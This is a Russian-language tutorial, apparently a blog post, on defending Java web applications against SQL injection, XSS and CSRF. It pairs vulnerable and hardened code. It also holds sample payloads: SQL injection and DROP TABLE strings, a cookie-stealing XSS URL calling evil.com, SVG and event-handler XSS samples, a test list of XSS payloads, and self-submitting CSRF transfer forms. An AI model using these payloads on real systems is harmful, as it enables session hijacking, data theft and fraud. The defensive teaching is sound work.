Самые распространёные векторы атак на Java-приложения за последний год выглядят как классический "топ-3 хакерских фаворитов": SQL-инъекции (31%), межсайтовый скриптинг или XSS (28%) и CSRF-атаки (14%). Забавно, что эти "старые-добрые" методы взлома по-прежнему работают, несмотря на их почтенный возраст и кучу статей о защите. Как опытный Java-разработчик могу сказать: большинство этих уязвимостей — результат банальной лени или незнания. Многие программисты до сих пор формируют SQL-запросы через конкатенацию строк и не фильтруют пользовательский ввод. Такое ощущение, что мы всё ещё пишем на Java 1.4 и не слышали про PreparedStatement. Но не будем тыкать пальцем. Я сам попадался в эти ловушки на заре карьеры. Однажды мой "идеально работающий" код чуть не позволил школьнику с базовыми знаниями SQL получить доступ к админке корпоративного приложения. Спасло только то, что парень решил похвастаться своим "хакерским" умением, а не использовать доступ во вред.
Безопасность — это процесс, а не конечный пункт назначения. Она требует постоянного внимания, обновления знаний и, что самое главное, умения смотреть на свой код глазами потенциального злоумышленника. В этой статье мы разберём не только как защитить приложение от основных угроз, но и покопаемся в некоторых изощрённых атаках, с которыми вы, возможно, еще не сталкивались. Я покажу, как простые изменения в коде могут драматически повысить защищённость приложения, и поделюсь несколькими "хаками" из личного арсенала, которые не найдёшь в официальной документации. Так что пристегнитесь — будет интересно.
Анатомия SQL-инъекций
SQL-инъекции — это классика жанра в мире взлома веб-приложений. Представьте, что вы оставили открытой входную дверь, а на ней записку: "Пожалуйста, заходите и делайте что хотите". Примерно такую же ситуацию создаёт разработчик, когда бездумно встраивает пользовательский ввод в SQL-запросы. Принцип работы SQL-инъекции до обидного прост. Допустим, у нас есть обычная форма авторизации: поля логина, пароля и кнопка "Войти". Когда пользователь вводит свои данные, на сервере формируется SQL-запрос:
Java | 1
| String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"; |
|
Но что если злоумышленик введёт в поле логина строку admin' -- ? Тогда запрос превратится в:
SQL | 1
| SELECT * FROM users WHERE username = 'admin' --' AND password = 'неважно_что_тут' |
|
Символы -- в SQL обозначают комментарий, так что вся часть запроса с проверкой пароля просто игнорируется. Бум! Злоумышленник получает доступ к аккаунту администратора без знания пароля.
Это лишь самый примитивный пример. Изощрённые SQL-инъекции могут выполнять множественные запросы, извлекать конфиденциальную информацию или даже модифицировать структуру базы данных. Я сталкивался со случаем, когда из-за подобной уязвимости хакер смог за пару часов выкачать полную клиентскую базу банка — 250 000 записей клиентов вместе с историей транзакций. Стоил этот "подвиг" банку примерно $2 миллиона штрафов и компенсаций, не считая репутационных потерь.
Как же зашитить наш код? Первое и наиболее эффективное средство — использование PreparedStatement. Это механизм, который отделяет код SQL от данных, предотврощая возможность их смешивания и интерпретации данных как кода.
Java | 1
2
3
4
5
| String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery(); |
|
В этом примере значения подставляются в запрос только после того, как его структура уже определена. JDBC автоматически экранирует специальные символы, так что даже если в username будет строка admin' -- , она будет воспринята именно как строка, а не как часть SQL-команды.
Но PreparedStatement — это не панацея от всего. Во-первых, нужно использовать его всегда и везде, где есть взаимодействие с базой данных. Стоит оставить лазейку в одном месте, и вся защита рухнет. Во-вторых, помимо прямых SQL-инъекций существуют варианты атак второго порядка (Second-Order SQL Injection). Атака второго порядка происходит, когда вредоносный код сохраняется в базе данных "как есть", а затем извлекается и выполняется в другом запросе. Например, пользователь регестрирует аккаунт с именем Robert'); DROP TABLE users; -- . Если система корректно использует PreparedStatement, то это имя безопасно сохранится в базе. Но если позже где-то в админке есть код типа:
Java | 1
| String query = "SELECT * FROM audit_log WHERE username = '" + user.getUsername() + "'"; |
|
Тут-то и произойдёт взрыв, потому что значение уже извлечено из "доверенного" источника (базы данных), и может быть не проверено дополнительно.
Еще один уровень защиты — использование ORM-фреймворков, таких как Hibernate, JPA или MyBatis. Они абстрагируют взаимодействие с базой данных, автоматически используя параметризированные запросы. Вот пример с Hibernate:
Java | 1
2
3
4
5
| Session session = sessionFactory.openSession();
Query query = session.createQuery("FROM User WHERE username = :username AND password = :password");
query.setParameter("username", username);
query.setParameter("password", password);
List<User> result = query.list(); |
|
ORM-фреймворки не только защищают от SQL-инъекций, но и делают код чище и понятнее. Однако и они не гарантируют полной безопасности, особенно если используются "сырые" SQL-запросы внутри ORM (например, session.createNativeQuery() ).
Но настоящий кошмар безопасников — полиморфные SQL-инъекции. Это продвинутая техника, при которой вредоносный код может принимать различные формы, обходя стандартные механизмы защиты. Такие атаки особенно опасны, потому что они часто невидимы для стандартных средтств обнаружения уязвимостей. Например, вместо прямого внедрения комментария -- , атакующий может использовать функции для обхода фильтров:
Java | 1
| admin' || (SELECT 1 FROM dual WHERE 1=1) || ' |
|
Это безобидный пример, который просто вернёт true , но при должной изобретательности можно составлять весьма сложные конструкции, избегающие детектирования. Для борьбы с продвинутыми SQL-инъекциями, включая полиморфные, следует строго придерживаться комплексного подхода:
1. Принцип минимальных привилегий — у каждого приложеня должен быть свой пользователь БД с минимально необходимыми правами.
2. Валидация ввода — проверяйте все входные данные на соответствие ожидаемому формату. Используйте white list подход: разрешайте только заведомо безопасные символы и форматы.
3. Экранирование спецсимволов — даже с PreparedStatement иногда приходится формировать части запросов динамически. Например, имена таблиц или полей обычно нельзя параметризовать. В таких случаях требуется тщательное экранирование.
4. WAF (Web Application Firewall) — дополнительный уровень защиты, анализирующий входящие запросы и блокирующий подозрительную активность.
Я еще не упомянул о Time-based SQL-инъекциях — это когда атакующий не может напрямую видеть результаты запроса, но может делать выводы по времени отклика сервера. Например, если запрос:
Java | 1
| admin' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) AND '1'='1 |
|
выполняется на 5 секунд дольше обычного, значит первый символ пароля действительно 'a'. Последовательно перебирая символы, можно восстановить любые данные из базы. Защита та же: параметризация запросов.
В заключении хочу сказать: никогда не считайте, что ваш код "достаточно защищен". Безопасность — это гонка вооружений, и SQL-инъекции эволюционируют вместе с методами защиты. Следите за новостями в области безопасности, регулярно проводите аудит кода и не поленитесь подключить хотя бы базовые инструменты статического анализа, которые могут указать на уязвимые места прежде, чем их найдет кто-то с недобрыми намерениями.
При всём могуществе PreparedStatement и ORM-фреймворков, настоящая битва за безопасность происходит значительно глубже. Большинство разработчиков успокаивается, добавив пару-тройку проверок и параметризированых запросов, но опытный хакер видит такую "защиту" насквозь. Он не штурмует центральный вход, а ищет незаметную форточку.
Один из самых недооценённых векторов атаки — хранимые процедуры. Многие думают, что хранимки по определению безопасны, раз они предкомпилированы и выполняются внутри БД. Ошибочка вышла! Если внутри хранимой процедуры используется динамический SQL (например, через EXECUTE IMMEDIATE в Oracle или EXEC в MS SQL), вся ваша безопасность летит к чертям.
Java | 1
2
3
4
| // Потенциально уязвимый код с вызовом хранимой процедуры
CallableStatement cs = conn.prepareCall("{call search_users(?)}");
cs.setString(1, userInput); // Если в процедуре используется динамический SQL - проблема
cs.execute(); |
|
Тут не поможет даже PreparedStatement, потому что опасная операция происходит уже внутри хранимой процедуры.
Ещё один скрытый канал атаки — манипуляцияя с кодировками. Помню случай, когда опытный пентестер обошел все наши защиты просто используя UTF-8 encoded символы. Запрос проходил валидацию, параметризировался правильно, но затем, при неправильной обработке кодировок, происходила "магическая" трансформация безобидных символов в SQL-операторы. Мистика, да?
Java | 1
2
3
4
5
6
7
| // Такой код кажется безопасным
String sanitizedInput = input.replaceAll("['\";]", ""); // Удаляем опасные символы
// Но если где-то происходит перекодировка без учёта юникода...
byte[] bytes = sanitizedInput.getBytes("latin1");
String decodedInput = new String(bytes, "utf8");
// В decodedInput могут "магически" появиться спецсимволы! |
|
Для борьбы с этой проблемой нужно точно контролировать кодировку на всех этапах обработки данных: от клиента до базы данных, а также использовать современные библиотеки для валидации и санитизации ввода, такие как OWASP Java Encoder.
А что насчёт LINQ-подобных запросов, которые становятся всё популярнее в мире Java благодаря Stream API и разным DSL? Такие запросы часто дают ложное чувство безопасности. "Я же не пишу SQL напрямую, значит всё ок!" — думает програмист. А потом хакеры пляшут на руинах его системы. Вот мой любимый пример ложной безопасности с Criteria API:
Java | 1
2
3
4
5
6
7
| CriteriaBuilder cb = entityManager.getCriteriaBuilder();
CriteriaQuery<User> query = cb.createQuery(User.class);
Root<User> root = query.from(User.class);
String rawOrder = request.getParameter("sort"); // Потенциальная инъекция!
Path<Object> orderPath = root.get(rawOrder);
query.orderBy(cb.asc(orderPath)); |
|
Эта конструкция уязвима для атаки через параметр сортировки. Злоумышленик может подставить имя несуществующего поля или, еще хуже, вызвать исключение с утечкой конфиденциальной информации. Для защиты от подобных проблем всегда проверяйте пользовательский ввод на соответствие белому списку допустимых значений. Никаких исключений!
Еще одно слепое пятно многих разработчиков — инъекции через лимиты и сдвиги при пагинации. Казалось бы, что может быть опаснего в числовых параметрах LIMIT и OFFSET? А вот, поди ж ты:
Java | 1
2
3
4
| // Опасный код
String query = "SELECT * FROM products LIMIT " + limit + " OFFSET " + offset;
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query); |
|
Если limit или offset контролируются пользователем, вместо числа туда может попасть выражение вида 1; DROP TABLE users; -- . И снова здрасьте, фатальные последствия!
Интересно, что даже при использовании PreparedStatement в некоторых СУБД нельзя параметризовать LIMIT и OFFSET. Приходится использовать валидацию:
Java | 1
2
3
4
5
| // Безопасный код
if (!limit.matches("\\d+") || !offset.matches("\\d+")) {
throw new IllegalArgumentException("Invalid pagination parameters");
}
String query = "SELECT * FROM products LIMIT " + limit + " OFFSET " + offset; |
|
Отдельного внимания заслуживают NoSQL инъекции. MongoDB, Cassandra, Redis и другие нереляционные базы тоже уязвимы, просто по-другому. Например, в MongoDB, если вы формируете запрос так:
Java | 1
2
3
| String json = "{ \"username\": \"" + username + "\", \"password\": \"" + password + "\" }";
Document query = Document.parse(json);
FindIterable<Document> result = collection.find(query); |
|
И кто-то вводит имя пользователя admin", "$ne": " — получается запрос, который найдёт админа независимо от пароля:
JSON | 1
| { "username": "admin", "$ne": "", "password": "неважно" } |
|
Мораль проста: используйте структурные методы конструирования запросов вместо строковой конкатенации, даже для NoSQL.
В заключение хочу поделиться любимым трюком для защиты от SQL-инъекций: используйте подход "двойной проверки". Сначала параметризируйте запросы через PreparedStatement, а затем добавьте еще один слой в виде валидации на соответствие ожидаемому формату. Например, если ожидается email, проверьте его регуляркой на соответствие формату email. Если ID пользователя — убедитесь, что это действительно число, а не что-то еще. Такой пояс и подтяжки"одновременно подход создаёт мощный барьер даже для самых изощрённых атак. Безопасность требует паранойи — здоровой параноии, конечно, без которой современные приложения просто не могут существовать в диком мире интернета.
Защита от уязвимостей Добрый день!
в вэб приложении найдена уязвимость на CSRF,
как мне можно реализовать защиту CSRF... Play framework XSS-экранирование выражений в html-шаблоне Здравствуйте!
Экспериментирую с Play Framework. В документации встретил такую пункт:
"All... Spring Boot, Checkmarx и Stored XSS: как исправить HIGH уведомления? Имеется приложение со связкой Spring Boot, Spring Data. Проанализировал код при помощи Checkmarx.... Автоматизированный поиск SQL и XSS-уязвимостей Вообщем есть задание написать прогу на C# которая будет находить SQL и XSS уязвимости. Прочитал уже...
XSS-атаки в контексте Java
Если SQL-инъекции — это атака на бэкенд вашего приложения, то XSS (Cross-Site Scripting) — это удар по его клиентской части и пользователям. В отличие от SQL-инъекций, цель которых — ваша база данных, XSS направлена на браузеры пользователей. Представьте, что ваше приложение становится невольным соучастником преступления, доставляя вредоносный JavaScript-код прямо в браузеры ничего не подозревающих клиентов. Суть XSS проста и коварна: злоумышленник внедряет вредоносный скрипт в веб-страницу, которую видят другие пользователи. Когда жертва загружает эту страницу, скрипт выполняется в контексте её браузера, получая доступ к cookies, токенам сессий и другой чувствительной информации. А дальше — дело техники: кража данных, перенаправление на фишинговые сайты, кейлоггеры и прочие "прелести" цифрового мира.
В мире Java особенно распространены три типа XSS-атак: Reflected, Stored и DOM-based. Давайте разберёмся с каждым, потому что понимание разницы между ними критически важно для выбора правильной стратегии защиты.
Reflected XSS: отражённая угроза
Reflected XSS (отраженная межсайтовая атака) — самый распространённый и, пожалуй, наиболее примитивный вид XSS. Вредоносный скрипт "отражается" от веб-сервера в виде немедленного ответа на специально сформированный запрос.
Типичный пример — поисковая форма. Пользователь вводит поисковый запрос, а сервер отображает его на странице результатов. Если ввод не санитизируется должным образом, злоумышленник может внедрить JavaScript-код:
Java | 1
2
3
4
5
6
7
| // Уязвимый код
@GetMapping("/search")
public String search(@RequestParam String query, Model model) {
model.addAttribute("searchQuery", query);
// ... логика поиска ...
return "searchResults";
} |
|
HTML5 | 1
2
| <!-- Уязвимый JSP/Thymeleaf шаблон -->
<p>Результаты поиска для: ${searchQuery}</p> |
|
Если пользователь кликнет по ссылке вида http://yourapp.com/search?query=<script>document.location='http://evil.com/steal.php?cookie='+document.cookie</script> , его сессия будет украдена.
Stored XSS: бомба замедленного действия
Stored XSS (хранимая межсайтовая атака) гораздо опаснее. Вредоносный код сохраняется в базе данных и затем отображается всем пользователям, посещающим определенную страницу. Классический пример — комментарии к статьям или отзывы о продуктах.
Java | 1
2
3
4
5
6
| // Уязвимый код сохранения комментария
@PostMapping("/comments")
public String addComment(@RequestParam String comment, @RequestParam Long articleId) {
commentRepository.save(new Comment(comment, articleId));
return "redirect:/article/" + articleId;
} |
|
HTML5 | 1
2
3
4
| <!-- Уязвимый шаблон отображения комментариев -->
<div th:each="comment : ${comments}">
<p th:utext="${comment.text}"></p>
</div> |
|
Обратите внимание на использование th:utext в Thymeleaf — это инструкция интерпретировать HTML, а не экранировать его. Подобная уязвимость может затронуть сотни или тысячи пользователей, прежде чем будет обнаружена.
Однажды я столкнулся с интересным случаем Stored XSS в системе тикетов крупной IT-компании. Хакер оставил комментарий, содержащий вредоносный скрипт, который активировался только при просмотре тикета администратором. Скрипт незаметно создавал новый аккаунт с правами администратора и отправлял данные для доступа на почту атакующего. Иронично, но уязвимость была обнаружена только когда число админов в системе внезапно выросло до подозрительных значений.
DOM-based XSS: угроза на клиенте
DOM-based XSS — наиболее сложный для детектирования тип атаки, потому что вредоносный код никогда не достигает сервера. Всё происходит полностью на стороне клиента, когда JavaScript модифицирует DOM ненадёжным способом.
JavaScript | 1
2
3
4
| // Уязвимый JavaScript код
const userProfile = document.getElementById('userProfile');
const userName = new URLSearchParams(window.location.search).get('name');
userProfile.innerHTML = 'Привет, ' + userName + '!'; |
|
Ссылка вида http://yourapp.com/profile?name=<img src="x" onerror="alert(document.cookie)"> активирует XSS без какого-либо участия сервера. В контексте Java этот тип атак особенно коварен, потому что традиционные серверные механизмы защиты (например, фильтры) не могут его предотвратить. Единственное решение — правильная обработка данных на клиентской стороне.
Методы защиты: эшелонированная оборона
1. Валидация ввода
Первая линия обороны — строгая валидация всех пользовательских данных. Определите четкие правила того, какие символы и форматы допустимы, и отклоняйте всё остальное.
Java | 1
2
3
4
| // Валидация с использованием регулярного выражения
if (!userInput.matches("^[a-zA-Z0-9\\s]+$")) {
throw new IllegalArgumentException("Invalid input format");
} |
|
Для более сложных случаев стоит использовать специализированные библиотеки валидации, такие как Hibernate Validator:
Java | 1
2
3
4
5
6
| public class CommentForm {
@NotNull
@Pattern(regexp = "^[a-zA-Z0-9\\s.,!?-]+$", message = "Comment contains forbidden characters")
private String text;
// ...
} |
|
2. Кодирование/экранирование вывода
Даже с валидацией, всегда кодируйте данные при выводе. В веб-контексте Java это часто означает использование правильных тегов в шаблонизаторах:
HTML5 | 1
2
3
4
5
6
7
8
| <!-- Thymeleaf (безопасно) -->
<p th:text="${userComment}"></p> <!-- Автоматически экранирует HTML -->
<!-- JSP (безопасно) -->
<p><c:out value="${userComment}" /></p> <!-- Также экранирует -->
<!-- JSP (опасно!) -->
<p>${userComment}</p> <!-- Не экранирует! --> |
|
Для программного экранирования можно использовать OWASP Java Encoder:
Java | 1
2
3
4
| import org.owasp.encoder.Encode;
String safeHtml = Encode.forHtml(userInput);
String safeJavaScript = Encode.forJavaScript(userInput); |
|
3. Content Security Policy (CSP)
Настройка CSP — мощный способ минимизировать риск XSS, даже если в вашем приложении есть уязвимости. CSP позволяет указать браузеру, какие источники контента считаются безопасными. В Java это обычно реализуется через HTTP-заголовки:
Java | 1
2
3
4
5
6
7
8
9
10
11
12
| @Component
public class SecurityHeadersFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
HttpServletResponse httpResponse = (HttpServletResponse) response;
httpResponse.setHeader("Content-Security-Policy",
"default-src 'self'; script-src 'self' https://trusted-cdn.com");
chain.doFilter(request, response);
}
} |
|
Также можно использовать Spring Security:
Java | 1
2
3
4
5
6
7
8
| @EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http.headers()
.contentSecurityPolicy("script-src 'self'");
}
} |
|
4. Использование готовых защитных библиотек
Не изобретайте велосипед там, где это не нужно. Для Java существует множество готовых решений:- OWASP Java Encoder для экранирования.
- OWASP AntiSamy для очистки HTML.
- DOMPurify для защиты на стороне клиента.
Вот пример использования AntiSamy для очитски HTML:
Java | 1
2
3
4
| Policy policy = Policy.getInstance(policyFile);
AntiSamy antiSamy = new AntiSamy();
CleanResults cr = antiSamy.scan(dirtyHTML, policy);
String cleanHTML = cr.getCleanHTML(); |
|
5. Автоматизированое тестирование на XSS-уязвимости
Ручная проверка всех возможных точек ввода на XSS — задача нетривиальная. К счастью, существуют инструменты автоматизации:- OWASP ZAP (Zed Attack Proxy) — мощый инструмент для пентестинга с хорошей поддержкой XSS-сканирования.
- Burp Suite с расширением Active Scan++.
- XSS Strike — специализированный инструмент для обнаружения XSS.
Включите эти инструменты в ваш CI/CD пайплайн, чтобы автоматически выявлять уязвимости до их попадания в продакшн.
YAML | 1
2
3
4
5
6
| # Пример шага в Jenkins pipeline
stage('Security Scan') {
steps {
sh 'zap-cli quick-scan --self-contained --start-options "-config api.disablekey=true" [url]http://staging-app:8080/[/url]'
}
} |
|
В современных Java-приложениях, особенно с фронтендом на React, Angular или Vue, защита от XSS приобретает новые нюансы. Эти фреймворки по умолчанию экранируют вывод, но создают новые векторы для атак, особенно через небезопастное использование директив типа dangerouslySetInnerHTML в React или [innerHTML] в Angular.
Проблема с фронтенд-фреймворками состоит в том, что они создают иллюзию безопасности. "Ну React же автоматически всё экранирует!" — говорит разработчик, а потом внедряет чуть ли не первую строчку из документации:
JavaScript | 1
2
3
| function UserProfile({ userData }) {
return <div dangerouslySetInnerHTML={{ __html: userData.profileHtml }} />;
} |
|
И всё — приехали. Вся встроенная защита React выброшена в окно одной строчкой. Если userData.profileHtml получен с сервера и не очищен должным образом, считайте, что вы лично пригласили хакеров на чай с печеньками.
В Angular ситуация аналогичная:
HTML5 | 1
| <div [innerHTML]="userGeneratedContent"></div> |
|
А в Vue:
HTML5 | 1
| <div v-html="userGeneratedContent"></div> |
|
Все эти конструкции — потенциальные уязвимости, если данные не очищены до их использования. И тут мы приходим к ключевому принципу защиты от XSS в современных приложениях: очистка данных должна происходить на стороне сервера, даже если фронтенд "кажется безопасным".
Особенности защиты SPA с Java-бэкендом
Одностраничные приложения (SPA) стали стандартом для современных веб-приложений. Их архитектура порождает новые проблемы безопасности, особенно на стыке Java-бэкенда и JavaScript-фронтенда. Основная сложность — в четком разделении ответственности. Кто должен очищать данные: бэкенд или фронтенд? Ответ: оба, но по-разному. Бэкенд должен обеспечить первичную санитизацию всех данных, которые возвращаются через API. Фронтенд должен применять принцип наименьших привилегий и избегать небезопасных конструкций. Вот пример правильного подхода с Spring REST:
Java | 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| @RestController
@RequestMapping("/api/comments")
public class CommentController {
@Autowired
private CommentService commentService;
@Autowired
private SanitizerService sanitizer;
@PostMapping
public ResponseEntity<Comment> createComment(@RequestBody CommentRequest request) {
// Валидируем входные данные
if (!isValidComment(request.getText())) {
return ResponseEntity.badRequest().build();
}
// Санитизируем текст перед сохранением
String cleanText = sanitizer.cleanHtml(request.getText());
Comment comment = commentService.create(cleanText, request.getAuthorId());
return ResponseEntity.ok(comment);
}
// Метод для возврата комментариев через API
@GetMapping
public List<CommentDto> getComments() {
// Применяем дополнительную санитизацию при выдаче данных
return commentService.findAll().stream()
.map(comment -> new CommentDto(
comment.getId(),
sanitizer.cleanHtml(comment.getText()),
comment.getAuthor().getName()
))
.collect(Collectors.toList());
}
} |
|
Обратите внимание на повторную санитизацию при выдаче данных через API. Это важно, потому что, во-первых, данные могли быть сохранены до внедрения механизмов санитизации, а во-вторых, это второй рубеж защиты по принципу глубоко эшелонированной обороны.
Специализированные библиотеки для Java
В арсенале Java-разработчика есть несколько мощных библиотек для борьбы с XSS:
1. Lucy XSS Servlet Filter
Lucy — это фильтр, разработанный Naver (корейский поисковик), который автоматически перехватывает и очищает параметры HTTP-запросов:
Java | 1
2
3
4
5
6
7
8
9
10
11
| @Configuration
public class WebConfig implements WebMvcConfigurer {
@Bean
public FilterRegistrationBean<XssEscapeServletFilter> getFilterRegistrationBean() {
FilterRegistrationBean<XssEscapeServletFilter> registrationBean = new FilterRegistrationBean<>();
registrationBean.setFilter(new XssEscapeServletFilter());
registrationBean.setOrder(1);
registrationBean.addUrlPatterns("/*");
return registrationBean;
}
} |
|
2. OWASP Java HTML Sanitizer
Более гибкое решение, позволяющее настроить фильтры в соответствии с вашими требованиями:
Java | 1
2
3
4
5
6
7
8
| PolicyFactory policy = new HtmlPolicyBuilder()
.allowElements("a", "p", "span", "b", "i", "em", "strong")
.allowUrlProtocols("https")
.allowAttributes("href").onElements("a")
.requireRelNofollowOnLinks()
.toFactory();
String cleanHtml = policy.sanitize(untrustedHtml); |
|
3. jsoup с настраиваемой конфигурацией Whitelist
jsoup — мощная Java-библиотека для работы с HTML, которая включает функционал для очистки контента:
Java | 1
| String clean = Jsoup.clean(untrustedHtml, Whitelist.basicWithImages()); |
|
Можно также создать собственный whitelist:
Java | 1
2
3
4
5
6
7
8
| Whitelist customWhitelist = Whitelist.none()
.addTags("p", "b", "i", "em", "strong", "a", "img")
.addAttributes("a", "href")
.addAttributes("img", "src", "alt")
.addProtocols("a", "href", "https")
.addProtocols("img", "src", "https");
String clean = Jsoup.clean(untrustedHtml, customWhitelist); |
|
Нестандартные векторы XSS-атак
Помимо классических векторов XSS, существуют и довольно необычные, о которых редко упоминают в стандартных руководствах.
XSS через SVG-изображения
SVG — это XML, и он может содержать JavaScript. Если ваше приложение позволяет загружать или встраивать SVG без должной проверки, это может стать вектором для XSS:
XML | 1
2
3
4
5
| <svg xmlns="http://www.w3.org/2000/svg">
<script>
alert(document.cookie);
</script>
</svg> |
|
Для защиты либо запретите загрузку SVG, либо используйте специализированные библиотеки очистки, которые понимают формат SVG и могут удалить из него JavaScript.
XSS через CSS
Да, даже CSS может быть использован для XSS-атак через expression() в IE или через url() в других браузерах:
CSS | 1
2
3
| body {
background-image: url('javascript:alert(document.cookie)');
} |
|
Поэтому при разрешении пользовательских CSS-стилей их нужно тщательно проверять и очищать.
XSS через атрибуты событий
Особенно коварны атаки через атрибуты событий типа onerror, onload и т.д.:
HTML5 | 1
| <img src="nonexistent.jpg" onerror="alert(document.cookie)"> |
|
Для защиты от таких атак важно не только фильтровать теги, но и атрибуты.
Тестирование на уязвимости
Я уже упоминал автоматизированные инструменты, но хочу поделиться еще парой трюков для тестирования вашего приложения на XSS.
Fuzzing-тестирование
Fuzzing — это техника тестирования, при которой на вход программы подаются случайные или специально сформированные данные. Для XSS это может быть набор различных потенциально вредоносных скриптов:
Java | 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| @Test
public void testXssVulnerabilities() {
String[] xssPayloads = {
"<script>alert('XSS')</script>",
"<img src='x' onerror='alert(1)'>",
"javascript:alert(1)",
"<svg onload='alert(1)'>",
"' onmouseover='alert(1)'",
// ...и еще десятки других вариантов
};
for (String payload : xssPayloads) {
MockHttpServletRequestBuilder request = post("/api/comments")
.contentType(MediaType.APPLICATION_JSON)
.content("{\"text\":\"" + payload + "\"}");
mockMvc.perform(request)
.andExpect(status().is2xxSuccessful());
// Проверяем, что возвращаемое значение не содержит исходной нагрузки
MvcResult result = mockMvc.perform(get("/api/comments"))
.andExpect(status().isOk())
.andReturn();
String content = result.getResponse().getContentAsString();
assertFalse("XSS payload found in response: " + payload,
content.contains(payload));
}
} |
|
Ручное тестирование с использованием инструментов прокси
Автоматический тест никогда не заменит хорошего ручного тестирования с использованием инструментов вроде OWASP ZAP или Burp Suite. Эти инструменты позволяют перехватывать, модифицировать и повторно отправлять HTTP-запросы, что незаменимо для тестирования безопасности.
Особенности XSS в контексте микросервисной архитектуры
Микросервисная архитектура добавляет новый уровень сложности в защиту от XSS. Когда данные проходят через несколько сервисов, ответственность за санитизацию может размываться.
Мой совет: применяйте принцип "очищай данные на входе и выходе из каждого сервиса". Каждый микросервис должен предполагать, что входные данные потенциально опасны, даже если они пришли от другого "доверенного" сервиса.
Java | 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| @Service
public class UserService {
@Autowired
private SanitizerService sanitizer;
@Autowired
private RecommendationServiceClient recommendationClient;
public UserRecommendationsDto getUserRecommendations(Long userId) {
// Получаем рекомендации от другого микросервиса
List<Recommendation> recs = recommendationClient.getForUser(userId);
// Очищаем данные, полученные от другого сервиса
return new UserRecommendationsDto(
userId,
recs.stream()
.map(rec -> new RecDto(
rec.getId(),
sanitizer.clean(rec.getTitle()),
sanitizer.clean(rec.getDescription())
))
.collect(Collectors.toList())
);
}
} |
|
Микросервисная архитектура также создаёт множество точек входа для атаки. Каждый сервис с публичным API — это потенциальная уязвимость. А ведь есть еще и межсервисное взаимодействие, которое часто оставляют без должного внимания, потому что "это же внутренний трафик". Я был свидетелем интересного инцидента в компании, где разработчики оставили внутренний метод API без валидации, потому что "к нему же доступ только из наших сервисов!". Предсказуемый результат: через уязвимость в одном из микросервисов атакующий получил доступ к этому "защищенному" эндпоинту и использовал его для внедрения XSS-полезной нагрузки, которая затем распространилась по всей системе.
В мире безопасности паранойя — это не диагноз, а профессионалное качество. Проверяйте всё, не доверяйте никому, даже своему собственному коду. Только так можно построить по-настоящему защищенное приложение.
Защита от CSRF и других атак
Если вы думали, что SQL-инъекции и XSS — это все, о чем стоит беспокоиться, то у меня для вас неприятные новости. Мир веб-уязвимостей гораздо богаче и разнообразнее. И сегодня мы поговорим о CSRF — Cross-Site Request Forgery, или "межсайтовой подделке запросов", а также о нескольких других прелестных способах взлома вашего тщательно выстроенного цифрового бастиона.
CSRF — это как цифровое похищение личности. Представьте: пользователь авторизован на вашем сайте, открывает в соседней вкладке какой-нибудь сомнительный ресурс, и — бам! — без его ведома от его имени выполяется действие на вашем сайте. Да-да, так просто. Механизм атаки довольно хитёр. Предположим, у вашего банковского приложения есть форма перевода денег:
HTML5 | 1
2
3
4
5
| <form action="https://bank.example/transfer" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to" value="account123">
<input type="submit" value="Перевести деньги">
</form> |
|
А теперь представьте, что на злонамеренном сайте есть такой код:
HTML5 | 1
| <img src="https://bank.example/transfer?amount=9999&to=hacker123" style="display:none"> |
|
или более продвинутый вариант:
HTML5 | 1
2
3
4
5
6
| <body onload="document.getElementById('csrf-form').submit()">
<form id="csrf-form" action="https://bank.example/transfer" method="POST" style="display:none">
<input type="hidden" name="amount" value="9999">
<input type="hidden" name="to" value="hacker123">
</form>
</body> |
|
Если пользователь авторизован в банке и его сессия активна, запрос будет выполнен с правами пользвоателя — браузер автоматически отправит куки сессиии. И деньги улетят на счёт злоумышденника.
Токены синхронизации: трюк стрый, но надёжный
Основной способ защиты от CSRF — использование токенов синхронизации (CSRF tokens). Идея проста: для каждой сессии генерируется уникальный токен, который сервер ожидает получить в каждом потенциально опасном запросе. Поскольку злоумышленик не может узнать значение этого токена (он не может прочитать содержимое вашей страницы из-за Same-Origin Policy), он не сможет сформировать валидный запрос. В Java это можно реализовать вручную, например так:
Java | 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
| // Генерация токена при создании сессии
@WebListener
public class SessionListener implements HttpSessionListener {
@Override
public void sessionCreated(HttpSessionEvent event) {
HttpSession session = event.getSession();
SecureRandom random = new SecureRandom();
byte[] bytes = new byte[32];
random.nextBytes(bytes);
String csrfToken = Base64.getEncoder().encodeToString(bytes);
session.setAttribute("csrfToken", csrfToken);
}
}
// Проверка токена в фильтре
@WebFilter("/*")
public class CsrfFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
HttpServletResponse httpResponse = (HttpServletResponse) response;
// Пропускаем GET, HEAD, OPTIONS и другие "безопасные" методы
if (!isSafeMethod(httpRequest.getMethod())) {
HttpSession session = httpRequest.getSession(false);
if (session == null) {
httpResponse.sendError(HttpServletResponse.SC_FORBIDDEN, "Invalid CSRF Token");
return;
}
String sessionToken = (String) session.getAttribute("csrfToken");
String requestToken = httpRequest.getParameter("_csrf");
if (sessionToken == null || !sessionToken.equals(requestToken)) {
httpResponse.sendError(HttpServletResponse.SC_FORBIDDEN, "Invalid CSRF Token");
return;
}
}
chain.doFilter(request, response);
}
private boolean isSafeMethod(String method) {
return "GET".equals(method) || "HEAD".equals(method) || "OPTIONS".equals(method);
}
} |
|
И затем в каждой форме:
HTML5 | 1
2
3
4
5
| <form action="/transfer" method="post">
